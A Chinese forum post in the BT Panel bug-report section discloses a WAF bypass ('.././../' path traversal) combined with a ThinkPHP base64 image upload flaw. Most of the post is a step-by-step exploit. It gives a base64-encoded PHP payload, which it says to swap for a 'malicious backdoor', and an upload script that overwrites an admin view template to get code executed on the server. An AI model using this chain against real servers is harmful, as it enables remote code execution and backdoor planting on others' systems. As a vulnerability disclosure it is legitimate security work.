当前位置:论坛首页 > BUG提交 > Linux面板

宝塔安全漏洞提交

发表在 BUG提交2024-1-8 16:11 [复制链接] 0 1518

为了能快速了解并处理您的问题,请提供以下基础信息:
面板、插件版本:
8.0.5
系统版本:
Ubuntu20
问题描述:
绕过宝塔限制宝塔限制的规则是../../这种目录穿越,但是宝塔没有限制.././../这种目录穿越,所以我们可以使用.././../来绕过宝塔的限制
相关截图(日志、错误):
漏洞代码:
  1. /** * Base64 图片上传 */ public function image() { try { $data = $this->_vali(['base64.require' => '图片内容不为空!']);$data=null; if (preg_match('|^data:image/(.*?);base64,|i', $data['base64'])) { [$ext, $img] = explode('|||', preg_replace('|^data:image/(.*?);base64,|i', '$1|||', $data['base64'])); $info = Storage::instance()->set(Storage::name($img, $ext ?: 'png', 'image/'), base64_decode($img)); $this->success('图片上传成功!', ['url' => $info['url']]); } else { $this->error('解析内容失败!'); } } catch (HttpResponseException $exception) { throw $exception; } catch (\Exception $exception) { $this->error($exception->getMessage()); } }
复制代码
代码分析:
  1. 上传的文件是base64编码的
复制代码
问题:
  1. 不能上传php文件,因为服务器有宝塔waf会被拦截
复制代码
解决思路
  1. 使用过Thinkphp的都知道,TP框架的View层是使用html模板引擎实现的。
  2. 所以我们可以上传一个html文件,然后在html文件中写入php代码,这样就可以绕过宝塔waf了。
  3. 但是上传后的文件名是随机的,我们无法知道上传后的文件名,但是文件后缀是可控的,后缀可以使用目录穿越漏洞,所以我们需要使用目录穿越漏洞来实现解析我们上传的html模板文件
  4. 但是宝塔会限制目录穿越,所以我们需要绕过宝塔的限制
复制代码
绕过宝塔限制
  1. 宝塔限制的规则是../../这种目录穿越,但是宝塔没有限制.././../这种目录穿越,所以我们可以使用.././../来绕过宝塔的限制
复制代码
将以下代码编码成base64: PD9waHAKICAj5pu/5o2i5oiQ5L2g55qEIHdlYlNoZWxsIOS7o+eggQogIHBocGluZm8oKTsKICA/Pg==
  1. <?php /** * [@456](123) */ #替换成恶意后门代码 phpinfo(); ?>
复制代码
开始上传文件
  1. <?php
  2. //大概逻辑如下
  3. //文件上传地址
  4. $url="http://127.0.0.1/upload/image.html"
  5. //上传的数据,这里的文件后缀进行了目录穿越
  6. $data['base64']="data:image/a/.././.././.././.././../app/admin/view/index/index.html;base64,PD9waHAKICAj5pu/5o2i5oiQ5L2g55qEIHdlYlNoZWxsIOS7o+eggQogIHBocGluZm8oKTsKICA/Pg=="
  7. post($url,$data)
  8. ?>
复制代码
上传成功后,访问 http://127.0.0.1/admin/index/index.html 即可看到phpinfo的输出
使用道具 举报 只看该作者 回复
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

普通问题处理

论坛响应时间:72小时

问题处理方式:排队(仅解答)

工作时间:白班:9:00 - 18:00

紧急运维服务

响应时间:3分钟

问题处理方式:宝塔专家1对1服务

工作时间:工作日:9:00 - 18:30

宝塔专业团队为您解决服务器疑难问题

立即付费处理

工作时间:09:00至24:00

快速回复 返回顶部 返回列表